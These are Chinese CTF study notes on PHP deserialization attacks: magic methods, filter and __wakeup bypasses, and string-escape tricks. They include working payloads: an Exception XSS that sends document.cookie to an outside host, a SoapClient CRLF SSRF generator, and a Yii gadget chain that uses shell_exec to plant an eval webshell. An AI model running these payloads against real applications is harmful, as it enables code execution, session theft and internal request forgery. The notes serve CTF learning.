PHP反序列化

三种访问控制的区别

  • public: 变量名

  • protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名%00 + * + %00 + 变量名

  • private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名%00 + 类名 + %00 + 变量名

注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct()  #每次创建新对象时先调用此方法
__destruct() #某个对象的所有引用都被删除或者销毁时调用(没有变量指到当前对象时也会被触发,如 a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";},被覆盖后没有变量指向User对象)
__toString() #把类被当做一个字符串使用时调用
__wakeup() #使用unserialize函数,反序列化恢复对象之前时调用
__sleep() #使用serialize()函数,序列化对象之前时调用
__call() #在对象中,调用不存在的方法或调用权限不足时调用
__callstatic() #在静态上下文中,调用不可访问的方法时触发
__get() #访问不存在的成员变量时调用
__set() #设置不存在的成员变量时调用
__invoke() #当尝试以调用函数的方式调用一个对象时触发
__autoload() #尝试加载未定义的类
__isset() #在不可访问的属性上调用isset()或empty()触发
__unset() #在不可访问的属性上使用unset()时触发

绕过

  • 绕过 md5+sha1 验证

    判断条件:

    1
    2
    3
    if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ) {
    eval($this->var1);
    }

    传入2个不相等对象,但是他们的 __toString 魔法函数返回的一样,可以绕过 if,且eval转为字符串时我们也使其可以被执行。

    查找带 __toString 的类,满足的有 Exception/ErrorException/Error/ParseError/mysqli_sql_exception 等,以 Exception 为例,construct函数为:

    1
    public function __construct($message = "",$code = 0,Throwable $previous = null)

    它返回的是一个字符串类型的异常信息,可以控制传入 messagecode 的值不同即可

    image-20230304100011366

    这里需要在同一行,因为_toString返回的信息包含行号

  • unserialize_callback_func + spl_autoload

    php manual 里面有一个很有趣的变量配置,如果在反序列化的时候需要实例化一个未定义的类,可以设置回调函数以供调用,最关键的是这个配置是 PHP_IN_ALL 的,所以可以直接通过 ini_set 来设置

    注意: unserialize_callback_func 指令

    如果在反序列化的时候需要实例化一个未定义类,则可以设置回调函数以供调用(以免得到的是不完整的 object “__PHP_Incomplete_Class”)。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性,只需置空此设定

    可以通过 spl_autoload 来自动加载未定义的类 settings,会默认加载当前目录下,以settings类名为文件名,php 或者 inc 为后缀的文件,这样就和 settings.inc 联系到了一起

    spl_autoload — __autoload()函数的默认实现

    spl_autoload ( string $class_name ,string $file_extensions = ? ) : void

    file_extensions: 在默认情况下,本函数先将类名转换成小写,再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名,然后在所有的包含路径(include paths)中检查是否存在该文件。

  • 绕过 throw new Exception

    • 去掉最后的大括号,利用反序列化报错来防止进入 Exception

    • GC

      a:2:{i:0;O:7:"getflag":{}i:0;N;}

      因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为getflag对象,同时我们又将Array[0]设置为null,这样前面的getflag对象便丢失了引用,就会被GC所捕获,便可以执行__destruct

  • 绕过关键字

    PHP序列化中存在序列化类型 S,相较于小写的 s,大写 S 是escaped字符串,会将 \xx 形式作为一个16进制字符处理,如:

    n 的十六进制是 6e,所以把 name替换为 \6eame 即可绕过

  • 绕过preg_match()

    可使用+,<绕过正则,如:

    O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

    O:<4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

  • wakeup

    PHP5<5.6.25,PHP7 < 7.0.10

    可以直接绕wakeup

    否则可以利用&共用变量空间

    1
    $this->password = &$this->token;
  • Serialize 特性:O 改为 C

bypass __wakeup

  • 绕过抛出异常阻止_destruct
1
2
if(preg_match('/ctfshow/',$cs)){
throw new Exception("Error $ctfshowo",1);

属性值有ctfshow,可以通过破坏属性格式,但是类名正确,依然会执行反序列化析构方法

  • 格式规则

    可以在数字前加+不影响执行

    php对类的命名就不检查大小写

  • 属性类型不敏感

    在 PHP 7.1 + 的版本中,对属性类型 (public protected private) 不敏感

    因为 protected 和 private 反序列化后的结果中含有 %00,部分题目会禁止这种字符,可在构造 payload 时将属性全部改成 public 来绕过限制

to_string的触发

  • 加上了””的

  • .拼接

  • eval

  • md5

  • preg_match

  • die,strlen(),addslashes()等字符串参数

  • 与sql参数绑定

  • 反序列化对象作为class_exist()参数时

  • 在in_array()方法中,第一个参数是反序列化对象,第二个参数数组中有tostring返回的字符串时

字符串逃逸进行反序列化

image-20221129194011322

反序列化的字符数量没有变,这时候依然截取12个字符,可是多出的两个ow不读取,而是去读取后面的2个值

例如我写一个值,把system换成ctfshow的话

"systemsystem",S:.....->”ctfshowctfsh"ow,S:.....

这时候就读取S:而不是ow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function filter($string){
return str_replace('x','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username,$password);

var_dump(serialize($user));
echo '\n';

$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));

正常情况下反序列化结果 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

如果把username改为peri0dxxx其处理后的序列化结果为

1
a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}

这个时候肯定会反序列化失败,可以看到 s:9:"peri0dyyyyyy"比之前多了3个字符

但是如果把密码修改一下,反序列化结果

1
a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}

可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20

要在 peri0d 后面填充 20 个字符,那么就是

20191112223227-402c9c0c-0559-1

原生类进行反序列化

  • Error

    php7
    开启报错
    to_string

1
$a = new Error("<script>alert('xss')</script>");
  • Exception
    php5或7
    开启报错
    to_string
1
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
  • SoapClient

SOAP : Simple Object Access Protocol简单对象访问协议,采用HTTP作为底层通讯协议,XML作为数据传送的格式

正常情况下php 在安装 php-soap 扩展后的SoapClient类,调用一个不存在的函数,会去调用__call方法

CRLF漏洞

SOAPAction处可控,可以把\x0d\x0a注入到SOAPAction,POST请求的header就可以被控制

Content-TypeSOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据

在header里User-AgentContent-Type前面,user_agent同样可以注入CRLF,控制Content-Type的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
//$aaa = str_replace('&','&',$aaa);
echo $aaa;
//echo urlencode($aaa);

//$c = unserialize($aaa);
//$c->not_exists_function();
?>

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

例如:

1
2
3
4
5
6
<?php

highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag.php

$xff = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);//将xff头安照,分割成数组
array_pop($xff);#删除数组中最后一个元素
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);//使用替换而不是直接在构造中利用/r/n可以使SoapAction在创建的Cookie的上面,遵循我们创建的格式,而不会让浏览器识别到导致位置乱放
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

#O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A208%3A%22y4tacker%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AUM_distinctid%3A175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
  • DirectoryIterator

    该类是在PHP5中增加的一个类

    DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件

    1
    $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
  • SimpleXMLElement

    是一个用于解析XML文档中元素的内置类

    1
    2
    3
    4
    5
    6
    7
    public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
    )

    设置第三个参数dataIsURLtrue就可以实现远程xml文件的导入

    第二个参数的常量值设置为2即可,第一个参数data就是我们引入外部实体的url

web268-270

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-05-03 21:55:29
Last Modified by: h1xa
Last Modified time: 2021-05-04 01:25:28
email: h1xa@ctfer.com
link: https://ctfer.com

*/
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func,$param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func,$param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func,$param),"run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func,$param)
{
$this->_dataReader = new \yii\web\DbSession($func,$param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec','echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
echo(base64_encode(serialize($exp)));
}
?>
#TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

PHPGGC

从0到1掌握反序列化工具之PHPGGC - 先知社区 (aliyun.com)

实例模板

VulApps/d/drupal/1 at master · Medicean/VulApps (github.com)